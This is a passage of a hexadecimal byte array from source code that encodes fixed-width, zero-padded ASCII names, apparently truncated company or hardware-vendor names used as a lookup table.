0x63,\r\n0x48, 0x79, 0x62, 0x75, 0x73, 0x00, 0x00, 0x00,\r\n0x44, 0x6f, 0x2d, 0x4d, 0x6f, 0x6e, 0x69, 0x78,\r\n0x47, 0x69, 0x6e, 0x7a, 0x69, 0x6e, 0x67, 0x65,\r\n0x41, 0x71, 0x75, 0x69, 0x6c, 0x61, 0x54, 0x65,\r\n0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74,\r\n0x42, 0x69, 0x6d, 0x65, 0x6e, 0x67, 0x43, 0x6f,\r\n0x4e, 0x65, 0x73, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x41, 0x64, 0x63, 0x2d, 0x45, 0x6c, 0x65, 0x6b,\r\n0x48, 0x6f, 0x6e, 0x67, 0x4b, 0x6f, 0x6e, 0x67,\r\n0x53, 0x6f, 0x6e, 0x69, 0x6d, 0x54, 0x65, 0x63,\r\n0x53, 0x69, 0x6b, 0x6c, 0x75, 0x43, 0x6f, 0x6d,\r\n0x54, 0x65, 0x6c, 0x65, 0x73, 0x74, 0x61, 0x72,\r\n0x4c, 0x65, 0x61, 0x64, 0x65, 0x72, 0x54, 0x65,\r\n0x44, 0x79, 0x63, 0x6f, 0x72, 0x54, 0x65, 0x63,\r\n0x41, 0x37, 0x45, 0x6e, 0x67, 0x69, 0x6e, 0x65,\r\n0x41, 0x64, 0x6f, 0x6c, 0x66, 0x54, 0x68, 0x69,\r\n0x4d, 0x6f, 0x72, 0x70, 0x68, 0x6f, 0x00, 0x00,\r\n0x45, 0x73, 0x61, 0x62, 0x00, 0x00, 0x00, 0x00,\r\n0x43, 0x6f, 0x75, 0x6c, 0x6f, 0x6d, 0x62, 0x54,\r\n0x47, 0x72, 0x61, 0x66, 0x2d, 0x53, 0x79, 0x74,\r\n0x45, 0x73, 0x63, 0x61, 0x74, 0x72, 0x6f, 0x6e,\r\n0x46, 0x72, 0x65, 0x65, 0x41, 0x6c, 0x6c, 0x69,\r\n0x57, 0x75, 0x68, 0x61, 0x6e, 0x48, 0x69, 0x67,\r\n0x43, 0x65, 0x6e, 0x74, 0x72, 0x61, 0x6c, 0x00,\r\n0x48, 0x75, 0x72, 0x6f, 0x62, 0x00, 0x00, 0x00,\r\n0x48, 0x61, 0x69, 0x6e, 0x7a, 0x6c, 0x49, 0x6e,\r\n0x43, 0x69, 0x61, 0x74, 0x00, 0x00, 0x00, 0x00,\r\n0x4e, 0x74, 0x69, 0x43, 0x6f, 0x6d, 0x6f, 0x64,\r\n0x41, 0x73, 0x75, 0x6d, 0x6f, 0x00, 0x00, 0x00,\r\n0x48, 0x61, 0x67, 0x65, 0x72, 0x45, 0x6c, 0x65,\r\n0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x61, 0x72, 0x6d,\r\n0x54, 0x6f, 0x62, 0x69, 0x69, 0x54, 0x65, 0x63,\r\n0x41, 0x75, 0x74, 0x6f, 0x6e, 0x65, 0x74, 0x4d,\r\n0x46, 0x61, 0x73, 0x63, 0x69, 0x6e, 0x61, 0x74,\r\n0x57, 0x69, 0x6c, 0x6c, 0x6f, 0x77, 0x47, 0x61,\r\n0x45, 0x78, 0x65, 0x6c, 0x74, 0x65, 0x63, 0x68,\r\n0x49, 0x6e, 0x73, 0x63, 0x61, 0x70, 0x65, 0x44,\r\n0x51, 0x75, 0x61, 0x6c, 0x69, 0x63, 0x61, 0x00,\r\n0x57, 0x69, 0x6e, 0x77, 0x61, 0x72, 0x64, 0x49,\r\n0x49, 0x6c, 0x73, 0x75, 0x6e, 0x67, 0x50, 0x72,\r\n0x42, 0x69, 0x63, 0x6f, 0x6d, 0x00, 0x00, 0x00,\r\n0x49, 0x6e, 0x6e, 0x6f, 0x76, 0x61, 0x72, 0x00,\r\n0x41, 0x6c, 0x63, 0x6f, 0x68, 0x6f, 0x6c, 0x4d,\r\n0x43, 0x65, 0x6e, 0x74, 0x72, 0x61, 0x6b, 0x00,\r\n0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x62,\r\n0x44, 0x73, 0x54, 0x65, 0x63, 0x68, 0x4c, 0x6c,\r\n0x43, 0x6f, 0x6e, 0x76, 0x65, 0x79, 0x43, 0x6f,\r\n0x48, 0x61, 0x73, 0x65, 0x67, 0x61, 0x77, 0x61,\r\n0x43, 0x61, 0x6f, 0x47, 0x72, 0x6f, 0x75, 0x70,\r\n0x57, 0x69, 0x74, 0x68, 0x69, 0x6e, 0x67, 0x73,\r\n0x53, 0x65, 0x65, 0x72, 0x54, 0x65, 0x63, 0x68,\r\n0x49, 0x6e, 0x4d, 0x6f, 0x74, 0x69, 0x6f, 0x6e,\r\n0x50, 0x6c, 0x61, 0x73, 0x74, 0x65, 0x72, 0x4e,\r\n0x49, 0x72, 0x69, 0x73, 0x2d, 0x47, 0x6d, 0x62,\r\n0x43, 0x6c, 0x65, 0x61, 0x72, 0x70, 0x61, 0x74,\r\n0x59, 0x74, 0x45, 0x6c, 0x65, 0x63, 0x00, 0x00,\r\n0x57, 0x79, 0x6e, 0x6d, 0x61, 0x78, 0x00, 0x00,\r\n0x53, 0x65, 0x61, 0x6e, 0x6f, 0x64, 0x65, 0x73,\r\n0x4b, 0x61, 0x6d, 0x69, 0x6e, 0x61, 0x72, 0x69,\r\n0x4e, 0x64, 0x73, 0x53, 0x75, 0x72, 0x67, 0x69,\r\n0x4d, 0x69, 0x79, 0x6f, 0x73, 0x68, 0x69, 0x45,\r\n0x48, 0x69, 0x6c, 0x67, 0x65, 0x72, 0x55, 0x4b,\r\n0x51, 0x75, 0x6f, 0x70, 0x69, 0x6e, 0x00, 0x00,\r\n0x4a, 0x73, 0x63, 0x53, 0x75, 0x70, 0x65, 0x72,\r\n0x4e, 0x61, 0x74, 0x75, 0x72, 0x61, 0x6c, 0x70,\r\n0x56, 0x61, 0x6c, 0x69, 0x61, 0x6e, 0x74, 0x43,\r\n0x45, 0x6b, 0x73, 0x45, 0x6e, 0x67, 0x65, 0x6c,\r\n0x41, 0x49, 0x41, 0x6e, 0x74, 0x69, 0x74, 0x61,\r\n0x41, 0x73, 0x74, 0x61, 0x6b, 0x00, 0x00, 0x00,\r\n0x4d, 0x61, 0x71, 0x75, 0x65, 0x74, 0x43, 0x61,\r\n0x53, 0x68, 0x61, 0x72, 0x65, 0x74, 0x72, 0x6f,\r\n0x53, 0x65, 0x63, 0x75, 0x72, 0x69, 0x74, 0x79,\r\n0x43, 0x65, 0x6e, 0x74, 0x72, 0x6f, 0x66, 0x61,\r\n0x53, 0x65, 0x6e, 0x65, 0x74, 0x00, 0x00, 0x00,\r\n0x47, 0x7a, 0x74, 0x54, 0x65, 0x6c, 0x6b, 0x6f,\r\n0x47, 0x74, 0x47, 0x65, 0x72, 0x6d, 0x61, 0x6e,\r\n0x4f, 0x6e, 0x2d, 0x52, 0x61, 0x6d, 0x70, 0x57,\r\n0x50, 0x69, 0x63, 0x6f, 0x2d, 0x54, 0x65, 0x73,\r\n0x43, 0x78, 0x70, 0x44, 0x69, 0x67, 0x69, 0x74,\r\n0x50, 0x63, 0x57, 0x6f, 0x72, 0x74, 0x68, 0x49,\r\n0x56, 0x65, 0x6e, 0x6e, 0x74, 0x69, 0x73, 0x4c,\r\n0x50, 0x6f, 0x77, 0x65, 0x72, 0x50, 0x6c, 0x75,\r\n0x56, 0x69, 0x61, 0x61, 0x73, 0x00, 0x00, 0x00,\r\n0x50, 0x73, 0x69, 0x62, 0x65, 0x72, 0x44, 0x61,\r\n0x45, 0x64, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x44, 0x73, 0x61, 0x45, 0x6e, 0x63, 0x6f, 0x72,\r\n0x52, 0x6f, 0x74, 0x65, 0x6c, 0x54, 0x65, 0x63,\r\n0x5a, 0x79, 0x6e, 0x75, 0x73, 0x56, 0x69, 0x73,\r\n0x53, 0x6d, 0x61, 0x52, 0x61, 0x69, 0x6c, 0x77,\r\n0x4c, 0x6f, 0x67, 0x69, 0x74, 0x65, 0x6b, 0x45,\r\n0x41, 0x73, 0x72, 0x6f, 0x63, 0x6b, 0x49, 0x6e,\r\n0x4f, 0x63, 0x70, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4c, 0x69, 0x67, 0x68, 0x74, 0x63, 0x6f, 0x6d,\r\n0x43, 0x74, 0x65, 0x72, 0x61, 0x4e, 0x65, 0x74,\r\n0x47, 0x65, 0x6e, 0x75, 0x69, 0x6e, 0x65, 0x54,\r\n0x42, 0x69, 0x74, 0x72, 0x6f, 0x64, 0x65, 0x00,\r\n0x44, 0x61, 0x69, 0x64, 0x6f, 0x53, 0x69, 0x67,\r\n0x43, 0x6f, 0x6d, 0x65, 0x6c, 0x69, 0x74, 0x47,\r\n0x43, 0x68, 0x65, 0x6e, 0x67, 0x64, 0x75, 0x47,\r\n0x53, 0x74, 0x69, 0x72, 0x6c, 0x69, 0x6e, 0x67,\r\n0x45, 0x6e, 0x74, 0x6f, 0x75, 0x72, 0x61, 0x67,\r\n0x4b, 0x69, 0x72, 0x79, 0x75, 0x6e, 0x67, 0x45,\r\n0x45, 0x6e, 0x65, 0x72, 0x67, 0x79, 0x00, 0x00,\r\n0x41, 0x65, 0x74, 0x61, 0x73, 0x00, 0x00, 0x00,\r\n0x43, 0x6c, 0x6f, 0x75, 0x64, 0x45, 0x6e, 0x67,\r\n0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x52,\r\n0x57, 0x69, 0x74, 0x74, 0x65, 0x6e, 0x73, 0x74,\r\n0x4d, 0x69, 0x6e, 0x69, 0x6d, 0x61, 0x78, 0x00,\r\n0x52, 0x75, 0x6e, 0x63, 0x6f, 0x6d, 0x54, 0x65,\r\n0x49, 0x66, 0x74, 0x61, 0x00, 0x00, 0x00, 0x00,\r\n0x43, 0x65, 0x76, 0x61, 0x00, 0x00, 0x00, 0x00,\r\n0x44, 0x69, 0x6e, 0x44, 0x69, 0x65, 0x74, 0x6d,\r\n0x44, 0x72, 0x73, 0x43, 0x6f, 0x6e, 0x73, 0x6f,\r\n0x53, 0x65, 0x6e, 0x73, 0x75, 0x73, 0x4d, 0x65,\r\n0x51, 0x75, 0x61, 0x73, 0x61, 0x72, 0x54, 0x65,\r\n0x4d, 0x61, 0x71, 0x75, 0x65, 0x74, 0x43, 0x72,\r\n0x50, 0x69, 0x74, 0x74, 0x61, 0x73, 0x6f, 0x66,\r\n0x4d, 0x6f, 0x6e, 0x65, 0x79, 0x74, 0x65, 0x63,\r\n0x4c, 0x6f, 0x6a, 0x61, 0x63, 0x6b, 0x00, 0x00,\r\n0x4a, 0x65, 0x6f, 0x72, 0x69, 0x63, 0x68, 0x54,\r\n0x52, 0x69, 0x6e, 0x67, 0x63, 0x75, 0x62, 0x65,\r\n0x56, 0x69, 0x64, 0x65, 0x6f, 0x6e, 0x43, 0x65,\r\n0x53, 0x69, 0x6e, 0x67, 0x61, 0x70, 0x6f, 0x72,\r\n0x56, 0x65, 0x72, 0x74, 0x65, 0x78, 0x57, 0x69,\r\n0x45, 0x6c, 0x65, 0x74, 0x74, 0x72, 0x6f, 0x6c,\r\n0x53, 0x65, 0x2d, 0x45, 0x6c, 0x65, 0x6b, 0x74,\r\n0x56, 0x78, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x50, 0x69, 0x78, 0x65, 0x6c, 0x38, 0x4e, 0x65,\r\n0x4d, 0x70, 0x65, 0x64, 0x69, 0x61, 0x00, 0x00,\r\n0x53, 0x79, 0x70, 0x68, 0x61, 0x6e, 0x54, 0x65,\r\n0x54, 0x61, 0x6e, 0x74, 0x61, 0x6c, 0x75, 0x73,\r\n0x43, 0x6f, 0x61, 0x63, 0x68, 0x63, 0x6f, 0x6d,\r\n0x4d, 0x6f, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73,\r\n0x53, 0x65, 0x6e, 0x74, 0x65, 0x63, 0x00, 0x00,\r\n0x49, 0x62, 0x72, 0x69, 0x64, 0x67, 0x65, 0x4e,\r\n0x49, 0x6e, 0x74, 0x65, 0x72, 0x62, 0x72, 0x6f,\r\n0x4c, 0x75, 0x78, 0x74, 0x65, 0x72, 0x61, 0x00,\r\n0x56, 0x69, 0x7a, 0x69, 0x6d, 0x61, 0x78, 0x00,\r\n0x49, 0x6e, 0x69, 0x74, 0x2d, 0x49, 0x6e, 0x73,\r\n0x41, 0x74, 0x65, 0x6e, 0x69, 0x78, 0x45, 0x45,\r\n0x41, 0x7a, 0x69, 0x6d, 0x75, 0x74, 0x50, 0x72,\r\n0x56, 0x61, 0x6e, 0x42, 0x72, 0x65, 0x64, 0x61,\r\n0x44, 0x61, 0x6e, 0x74, 0x68, 0x65, 0x72, 0x6d,\r\n0x45, 0x61, 0x73, 0x74, 0x65, 0x72, 0x6e, 0x43,\r\n0x4e, 0x65, 0x6d, 0x6f, 0x2d, 0x51, 0x49, 0x6e,\r\n0x53, 0x74, 0x45, 0x6c, 0x65, 0x63, 0x74, 0x72,\r\n0x4b, 0x75, 0x6e, 0x69, 0x6d, 0x69, 0x4d, 0x65,\r\n0x46, 0x69, 0x62, 0x65, 0x72, 0x70, 0x6c, 0x65,\r\n0x4e, 0x65, 0x6c, 0x69, 0x54, 0x65, 0x63, 0x68,\r\n0x44, 0x2d, 0x42, 0x6f, 0x78, 0x54, 0x65, 0x63,\r\n0x4a, 0x73, 0x63, 0x43, 0x6f, 0x6e, 0x63, 0x65,\r\n0x4a, 0x46, 0x4c, 0x61, 0x62, 0x73, 0x00, 0x00,\r\n0x43, 0x61, 0x6d, 0x63, 0x6f, 0x50, 0x72, 0x6f,\r\n0x53, 0x74, 0x6a, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x48, 0x75, 0x61, 0x63, 0x68, 0x65, 0x6e, 0x74,\r\n0x50, 0x6f, 0x69, 0x6e, 0x74, 0x72, 0x65, 0x64,\r\n0x4e, 0x65, 0x77, 0x50, 0x6f, 0x73, 0x54, 0x65,\r\n0x43, 0x61, 0x6c, 0x6c, 0x74, 0x65, 0x63, 0x68,\r\n0x45, 0x71, 0x75, 0x69, 0x70, 0x73, 0x6f, 0x6e,\r\n0x58, 0x2d, 0x53, 0x74, 0x61, 0x72, 0x4e, 0x65,\r\n0x4d, 0x61, 0x6b, 0x73, 0x61, 0x74, 0x54, 0x65,\r\n0x4b, 0x6f, 0x6b, 0x75, 0x79, 0x6f, 0x53, 0x26,\r\n0x56, 0x69, 0x74, 0x61, 0x6c, 0x69, 0x74, 0x79,\r\n0x47, 0x65, 0x6e, 0x69, 0x65, 0x49, 0x6e, 0x64,\r\n0x48, 0x69, 0x6c, 0x6c, 0x73, 0x49, 0x6e, 0x64,\r\n0x50, 0x6f, 0x6c, 0x65, 0x2f, 0x5a, 0x65, 0x72,\r\n0x45, 0x73, 0x75, 0x73, 0x45, 0x6c, 0x65, 0x6b,\r\n0x48, 0x61, 0x69, 0x65, 0x72, 0x00, 0x00, 0x00,\r\n0x57, 0x65, 0x61, 0x74, 0x68, 0x65, 0x72, 0x43,\r\n0x54, 0x72, 0x69, 0x64, 0x65, 0x6e, 0x74, 0x4d,\r\n0x53, 0x75, 0x70, 0x65, 0x72, 0x4d, 0x69, 0x63,\r\n0x4e, 0x65, 0x78, 0x74, 0x65, 0x6b, 0x00, 0x00,\r\n0x44, 0x61, 0x74, 0x6e, 0x65, 0x74, 0x49, 0x6e,\r\n0x45, 0x75, 0x72, 0x6f, 0x64, 0x65, 0x73, 0x69,\r\n0x4e, 0x6f, 0x72, 0x74, 0x68, 0x77, 0x65, 0x73,\r\n0x47, 0x69, 0x67, 0x61, 0x76, 0x69, 0x73, 0x69,\r\n0x4b, 0x61, 0x6c, 0x6b, 0x69, 0x43, 0x6f, 0x6d,\r\n0x5a, 0x68, 0x6f, 0x6e, 0x67, 0x53, 0x68, 0x61,\r\n0x48, 0x65, 0x64, 0x6f, 0x6e, 0x45, 0x44, 0x42,\r\n0x43, 0x65, 0x73, 0x74, 0x72, 0x6f, 0x6e, 0x69,\r\n0x42, 0x65, 0x69, 0x6a, 0x69, 0x6e, 0x67, 0x50,\r\n0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, 0x64, 0x69,\r\n0x45, 0x6e, 0x61, 0x6c, 0x61, 0x73, 0x79, 0x73,\r\n0x41, 0x6c, 0x74, 0x61, 0x44, 0x65, 0x66, 0x69,\r\n0x54, 0x72, 0x69, 0x6d, 0x61, 0x78, 0x57, 0x69,\r\n0x57, 0x61, 0x6c, 0x6e, 0x75, 0x74, 0x4d, 0x65,\r\n0x43, 0x65, 0x6e, 0x74, 0x72, 0x61, 0x6c, 0x4e,\r\n0x43, 0x6f, 0x6d, 0x76, 0x65, 0x72, 0x67, 0x65,\r\n0x4b, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6e, 0x42,\r\n0x41, 0x69, 0x6f, 0x4c, 0x63, 0x64, 0x50, 0x63,\r\n0x49, 0x2d, 0x54, 0x65, 0x63, 0x68, 0x00, 0x00,\r\n0x43, 0x6f, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x54,\r\n0x53, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x74, 0x7a,\r\n0x4d, 0x61, 0x79, 0x61, 0x2d, 0x43, 0x72, 0x65,\r\n0x4d, 0x62, 0x64, 0x61, 0x44, 0x65, 0x75, 0x74,\r\n0x54, 0x65, 0x6c, 0x65, 0x63, 0x6f, 0x6d, 0x46,\r\n0x43, 0x6f, 0x73, 0x74, 0x61, 0x72, 0x45, 0x6c,\r\n0x41, 0x67, 0x69, 0x6c, 0x65, 0x43, 0x6f, 0x6d,\r\n0x43, 0x79, 0x70, 0x72, 0x65, 0x73, 0x73, 0x53,\r\n0x49, 0x6e, 0x6e, 0x65, 0x72, 0x69, 0x6e, 0x74,\r\n0x49, 0x74, 0x61, 0x6c, 0x64, 0x61, 0x74, 0x61,\r\n0x54, 0x65, 0x6b, 0x74, 0x72, 0x61, 0x70, 0x00,\r\n0x5a, 0x69, 0x6c, 0x6c, 0x69, 0x6f, 0x6e, 0x74,\r\n0x4e, 0x61, 0x77, 0x6f, 0x6f, 0x4b, 0x6f, 0x72,\r\n0x52, 0x69, 0x6e, 0x67, 0x62, 0x65, 0x6c, 0x6c,\r\n0x32, 0x31, 0x31, 0x36, 0x38, 0x00, 0x00, 0x00,\r\n0x53, 0x74, 0x61, 0x72, 0x4c, 0x69, 0x6e, 0x6b,\r\n0x4b, 0x61, 0x73, 0x65, 0x72, 0x63, 0x6f, 0x72,\r\n0x41, 0x6c, 0x74, 0x65, 0x6b, 0x00, 0x00, 0x00,\r\n0x53, 0x2d, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73,\r\n0x4c, 0x73, 0x52, 0x65, 0x73, 0x65, 0x61, 0x72,\r\n0x52, 0x65, 0x69, 0x6e, 0x65, 0x72, 0x53, 0x63,\r\n0x53, 0x6b, 0x79, 0x6c, 0x61, 0x6e, 0x65, 0x4f,\r\n0x49, 0x6e, 0x6e, 0x65, 0x72, 0x73, 0x70, 0x61,\r\n0x49, 0x6e, 0x70, 0x65, 0x67, 0x76, 0x69, 0x73,\r\n0x52, 0x6f, 0x62, 0x6f, 0x6e, 0x69, 0x63, 0x61,\r\n0x4b, 0x72, 0x6f, 0x67, 0x65, 0x72, 0x00, 0x00,\r\n0x43, 0x65, 0x64, 0x6f, 0x00, 0x00, 0x00, 0x00,\r\n0x4b, 0x6f, 0x72, 0x65, 0x61, 0x4d, 0x61, 0x69,\r\n0x44, 0x61, 0x74, 0x61, 0x66, 0x61, 0x62, 0x00,\r\n0x53, 0x65, 0x63, 0x75, 0x72, 0x61, 0x4b, 0x65,\r\n0x41, 0x74, 0x69, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x53, 0x75, 0x6e, 0x6e, 0x79, 0x74, 0x65, 0x6b,\r\n0x50, 0x72, 0x6f, 0x62, 0x69, 0x74, 0x73, 0x00,\r\n0x43, 0x65, 0x65, 0x64, 0x74, 0x65, 0x63, 0x53,\r\n0x45, 0x76, 0x65, 0x72, 0x73, 0x70, 0x72, 0x69,\r\n0x48, 0x61, 0x6e, 0x73, 0x68, 0x69, 0x6e, 0x69,\r\n0x4f, 0x6d, 0x6e, 0x69, 0x2d, 0x57, 0x69, 0x66,\r\n0x42, 0x65, 0x6c, 0x67, 0x69, 0x61, 0x6e, 0x4d,\r\n0x49, 0x64, 0x61, 0x68, 0x6f, 0x54, 0x65, 0x63,\r\n0x49, 0x2d, 0x4d, 0x61, 0x74, 0x65, 0x44, 0x65,\r\n0x49, 0x70, 0x68, 0x69, 0x6f, 0x6e, 0x42, 0x76,\r\n0x52, 0x65, 0x75, 0x74, 0x65, 0x63, 0x68, 0x52,\r\n0x48, 0x75, 0x6d, 0x61, 0x6e, 0x77, 0x61, 0x72,\r\n0x4e, 0x75, 0x76, 0x6f, 0x54, 0x65, 0x63, 0x68,\r\n0x41, 0x76, 0x74, 0x65, 0x78, 0x00, 0x00, 0x00,\r\n0x49, 0x2d, 0x54, 0x65, 0x63, 0x00, 0x00, 0x00,\r\n0x53, 0x75, 0x67, 0x61, 0x45, 0x6c, 0x65, 0x63,\r\n0x4e, 0x6f, 0x72, 0x64, 0x77, 0x65, 0x73, 0x74,\r\n0x4b, 0x6f, 0x63, 0x6f, 0x43, 0x6f, 0x6e, 0x6e,\r\n0x44, 0x76, 0x73, 0x4b, 0x6f, 0x72, 0x65, 0x61,\r\n0x4e, 0x65, 0x74, 0x74, 0x61, 0x6c, 0x6b, 0x43,\r\n0x41, 0x6e, 0x73, 0x61, 0x6c, 0x64, 0x6f, 0x53,\r\n0x47, 0x6d, 0x6b, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x4a, 0x26, 0x4d, 0x41, 0x6e, 0x61, 0x6c, 0x79,\r\n0x54, 0x75, 0x6e, 0x73, 0x74, 0x61, 0x6c, 0x6c,\r\n0x45, 0x6e, 0x64, 0x61, 0x45, 0x6e, 0x64, 0x75,\r\n0x4f, 0x62, 0x72, 0x43, 0x65, 0x6e, 0x74, 0x72,\r\n0x50, 0x69, 0x6c, 0x6f, 0x74, 0x45, 0x6c, 0x65,\r\n0x43, 0x72, 0x65, 0x6e, 0x6f, 0x76, 0x61, 0x4d,\r\n0x54, 0x65, 0x61, 0x63, 0x41, 0x75, 0x73, 0x74,\r\n0x43, 0x75, 0x74, 0x65, 0x72, 0x61, 0x00, 0x00,\r\n0x53, 0x6d, 0x61, 0x72, 0x74, 0x54, 0x65, 0x6d,\r\n0x41, 0x75, 0x64, 0x69, 0x6f, 0x50, 0x72, 0x6f,\r\n0x43, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x52, 0x61, 0x75, 0x6d, 0x66, 0x65, 0x6c, 0x64,\r\n0x45, 0x6e, 0x61, 0x62, 0x6c, 0x69, 0x6e, 0x67,\r\n0x50, 0x68, 0x79, 0x6c, 0x6c, 0x69, 0x73, 0x00,\r\n0x44, 0x61, 0x74, 0x61, 0x72, 0x61, 0x6d, 0x00,\r\n0x4d, 0x65, 0x72, 0x63, 0x75, 0x72, 0x79, 0x00,\r\n0x41, 0x62, 0x6c, 0x61, 0x7a, 0x65, 0x4c, 0x6c,\r\n0x4c, 0x69, 0x6e, 0x6e, 0x50, 0x72, 0x6f, 0x64,\r\n0x41, 0x70, 0x61, 0x63, 0x65, 0x77, 0x61, 0x76,\r\n0x4c, 0x69, 0x63, 0x65, 0x72, 0x61, 0x00, 0x00,\r\n0x53, 0x70, 0x61, 0x63, 0x65, 0x45, 0x78, 0x70,\r\n0x45, 0x6e, 0x67, 0x65, 0x6c, 0x41, 0x78, 0x69,\r\n0x4b, 0x74, 0x6e, 0x66, 0x00, 0x00, 0x00, 0x00,\r\n0x54, 0x65, 0x72, 0x61, 0x63, 0x6f, 0x6d, 0x00,\r\n0x4f, 0x65, 0x6d, 0x57, 0x6f, 0x72, 0x6c, 0x64,\r\n0x46, 0x72, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x46, 0x65, 0x6d, 0x74, 0x6f, 0x63, 0x6f, 0x6d,\r\n0x4c, 0x61, 0x75, 0x72, 0x65, 0x6c, 0x42, 0x61,\r\n0x4e, 0x65, 0x6f, 0x76, 0x69, 0x61, 0x00, 0x00,\r\n0x43, 0x6f, 0x70, 0x53, 0x65, 0x63, 0x75, 0x72,\r\n0x51, 0x69, 0x6e, 0x67, 0x62, 0x61, 0x6e, 0x67,\r\n0x53, 0x61, 0x65, 0x4d, 0x61, 0x67, 0x6e, 0x65,\r\n0x49, 0x73, 0x67, 0x75, 0x73, 0x00, 0x00, 0x00,\r\n0x49, 0x6e, 0x74, 0x65, 0x6c, 0x69, 0x63, 0x6c,\r\n0x4a, 0x72, 0x64, 0x43, 0x6f, 0x6d, 0x6d, 0x75,\r\n0x4d, 0x65, 0x64, 0x69, 0x61, 0x73, 0x70, 0x75,\r\n0x47, 0x65, 0x6f, 0x70, 0x68, 0x79, 0x73, 0x69,\r\n0x54, 0x72, 0x75, 0x65, 0x73, 0x65, 0x6c, 0x6c,\r\n0x43, 0x6f, 0x6d, 0x70, 0x61, 0x6e, 0x79, 0x74,\r\n0x4a, 0x75, 0x70, 0x68, 0x6f, 0x6f, 0x6e, 0x53,\r\n0x50, 0x72, 0x6f, 0x78, 0x65, 0x6e, 0x73, 0x65,\r\n0x57, 0x6f, 0x6e, 0x67, 0x73, 0x45, 0x6c, 0x65,\r\n0x49, 0x6b, 0x74, 0x41, 0x64, 0x76, 0x61, 0x6e,\r\n0x43, 0x68, 0x65, 0x6e, 0x67, 0x64, 0x75, 0x4a,\r\n0x48, 0x61, 0x6d, 0x61, 0x6d, 0x61, 0x74, 0x73,\r\n0x41, 0x63, 0x6f, 0x72, 0x65, 0x6c, 0x53, 0x41,\r\n0x43, 0x6f, 0x6d, 0x6d, 0x74, 0x61, 0x63, 0x74,\r\n0x49, 0x6e, 0x73, 0x74, 0x72, 0x75, 0x6d, 0x65,\r\n0x4d, 0x69, 0x72, 0x2d, 0x4d, 0x65, 0x64, 0x69,\r\n0x49, 0x6e, 0x66, 0x69, 0x6e, 0x65, 0x74, 0x61,\r\n0x42, 0x6c, 0x75, 0x65, 0x74, 0x65, 0x63, 0x68,\r\n0x58, 0x69, 0x61, 0x4d, 0x65, 0x6e, 0x4a, 0x6f,\r\n0x54, 0x4d, 0x45, 0x6c, 0x65, 0x63, 0x74, 0x72,\r\n0x44, 0x69, 0x67, 0x69, 0x74, 0x65, 0x63, 0x00,\r\n0x4f, 0x6e, 0x62, 0x6e, 0x65, 0x74, 0x65, 0x63,\r\n0x4d, 0x69, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4c, 0x69, 0x6f, 0x73, 0x54, 0x65, 0x63, 0x68,\r\n0x42, 0x61, 0x75, 0x73, 0x74, 0x65, 0x6d, 0x42,\r\n0x43, 0x69, 0x72, 0x63, 0x6f, 0x6e, 0x74, 0x72,\r\n0x57, 0x66, 0x65, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x52, 0x61, 0x69, 0x6c, 0x52, 0x6f, 0x61, 0x64,\r\n0x4b, 0x72, 0x67, 0x65, 0x72, 0x26, 0x47, 0x00,\r\n0x44, 0x61, 0x79, 0x73, 0x65, 0x71, 0x75, 0x65,\r\n0x53, 0x61, 0x6e, 0x73, 0x6f, 0x6e, 0x69, 0x63,\r\n0x4f, 0x6f, 0x6f, 0x4e, 0x70, 0x70, 0x45, 0x6b,\r\n0x54, 0x2d, 0x50, 0x6c, 0x61, 0x74, 0x66, 0x6f,\r\n0x4c, 0x6f, 0x67, 0x69, 0x77, 0x61, 0x79, 0x73,\r\n0x49, 0x72, 0x75, 0x6d, 0x74, 0x65, 0x6b, 0x00,\r\n0x43, 0x6f, 0x72, 0x65, 0x53, 0x79, 0x73, 0x74,\r\n0x50, 0x72, 0x6f, 0x74, 0x65, 0x63, 0x74, 0x65,\r\n0x43, 0x61, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x00,\r\n0x45, 0x73, 0x73, 0x65, 0x6e, 0x73, 0x69, 0x75,\r\n0x53, 0x68, 0x69, 0x6e, 0x65, 0x55, 0x6e, 0x69,\r\n0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x65, 0x61, 0x63,\r\n0x4e, 0x69, 0x73, 0x73, 0x68, 0x6f, 0x2d, 0x44,\r\n0x43, 0x6f, 0x6f, 0x72, 0x64, 0x69, 0x77, 0x69,\r\n0x43, 0x69, 0x6e, 0x63, 0x68, 0x43, 0x6f, 0x6e,\r\n0x41, 0x75, 0x74, 0x6f, 0x76, 0x69, 0x73, 0x69,\r\n0x41, 0x61, 0x6d, 0x70, 0x4f, 0x66, 0x41, 0x6d,\r\n0x41, 0x7a, 0x74, 0x65, 0x63, 0x68, 0x45, 0x6c,\r\n0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x64, 0x74, 0x41,\r\n0x44, 0x65, 0x69, 0x66, 0x00, 0x00, 0x00, 0x00,\r\n0x4c, 0x6f, 0x67, 0x69, 0x63, 0x49, 0x6e, 0x73,\r\n0x45, 0x75, 0x70, 0x68, 0x6f, 0x6e, 0x69, 0x63,\r\n0x57, 0x75, 0x68, 0x61, 0x6e, 0x48, 0x6f, 0x6e,\r\n0x47, 0x73, 0x69, 0x48, 0x65, 0x6c, 0x6d, 0x68,\r\n0x4d, 0x65, 0x74, 0x7a, 0x2d, 0x57, 0x65, 0x72,\r\n0x41, 0x2d, 0x4d, 0x61, 0x78, 0x54, 0x65, 0x63,\r\n0x5a, 0x65, 0x6e, 0x74, 0x65, 0x72, 0x69, 0x6f,\r\n0x53, 0x69, 0x6c, 